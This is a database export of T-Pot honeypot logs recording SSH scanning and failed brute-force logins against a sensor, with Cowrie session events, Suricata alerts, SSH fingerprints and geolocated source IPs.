"2021-09-20T11:07:08.735500Z", "@timestamp": "2021-09-20T11:07:08.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23316	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:07:08.820673+03	2021-09-20 14:15:07.349508+03	{"_id": "iQbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "824890bfdffa", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:07:08.820673Z", "@timestamp": "2021-09-20T11:07:08.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23317	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:08.944811+03	2021-09-20 14:15:07.3515+03	{"_id": "igbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [pizza/pizza] failed", "session": "447202b7f8a7", "@version": "1", "password": "pizza", "username": "pizza", "timestamp": "2021-09-20T11:07:08.944811Z", "@timestamp": "2021-09-20T11:07:08.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23318	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:09.141803+03	2021-09-20 14:15:07.35251+03	{"_id": "iwbjAnwBvYTbRNuEZAfS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [nagios/nagiosadmin] failed", "session": "ac1aa31e4b57", "@version": "1", "password": "nagiosadmin", "username": "nagios", "timestamp": "2021-09-20T11:07:09.141803Z", "@timestamp": "2021-09-20T11:07:09.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23319	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:07:09.326059+03	2021-09-20 14:15:07.3535+03	{"_id": "jAbjAnwBvYTbRNuEZwdQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4389, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1014037137455531, "@version": "1", "in_iface": "enp5s0", "src_port": 38697, "dest_port": 53, "timestamp": "2021-09-20T11:07:09.326059Z", "@timestamp": "2021-09-20T11:07:09.326Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23320	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:20.38641+03	2021-09-20 14:15:07.354503+03	{"_id": "yAbjAnwBvYTbRNuEkglS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 405152509437798, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46736, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.386410Z", "@timestamp": "2021-09-20T11:07:20.386Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23321	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:20.627302+03	2021-09-20 14:15:07.3555+03	{"_id": "yQbjAnwBvYTbRNuEkglS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1560545956724771, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35600, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.627302Z", "@timestamp": "2021-09-20T11:07:20.627Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23322	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:20.133397+03	2021-09-20 14:15:07.357502+03	{"_id": "zQbjAnwBvYTbRNuEkwnF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58238, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.133397", "@timestamp": "2021-09-20T11:07:20.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23323	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:20.411788+03	2021-09-20 14:15:07.358501+03	{"_id": "zgbjAnwBvYTbRNuEkwnF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46736, "dest_port": 22, "timestamp": "2021-09-20T11:07:20.411788", "@timestamp": "2021-09-20T11:07:20.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23324	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:20.334724+03	2021-09-20 14:15:07.359473+03	{"_id": "0AbjAnwBvYTbRNuEkwnF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cfe69188ff37", "@version": "1", "timestamp": "2021-09-20T11:07:20.334724Z", "@timestamp": "2021-09-20T11:07:20.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23325	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:07:33.692881+03	2021-09-20 14:15:07.36147+03	{"_id": "RgbjAnwBvYTbRNuExQwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:07:32.693148+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1968769714131868, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 30558, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.692881Z", "@timestamp": "2021-09-20T11:07:33.692Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
23357	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:35.846523+03	2021-09-20 14:15:07.402473+03	{"_id": "2QbjAnwBvYTbRNuEzgx3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "39dfc0d2db48", "@version": "1", "duration": 2.4707322120666504, "timestamp": "2021-09-20T11:07:35.846523Z", "@timestamp": "2021-09-20T11:07:35.846Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23326	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:33.373332+03	2021-09-20 14:15:07.3625+03	{"_id": "UQbjAnwBvYTbRNuExgyj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46534 (192.168.176.2:22) [session: 39dfc0d2db48]", "session": "39dfc0d2db48", "@version": "1", "protocol": "ssh", "src_port": 46534, "dest_port": 22, "timestamp": "2021-09-20T11:07:33.373332Z", "@timestamp": "2021-09-20T11:07:33.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
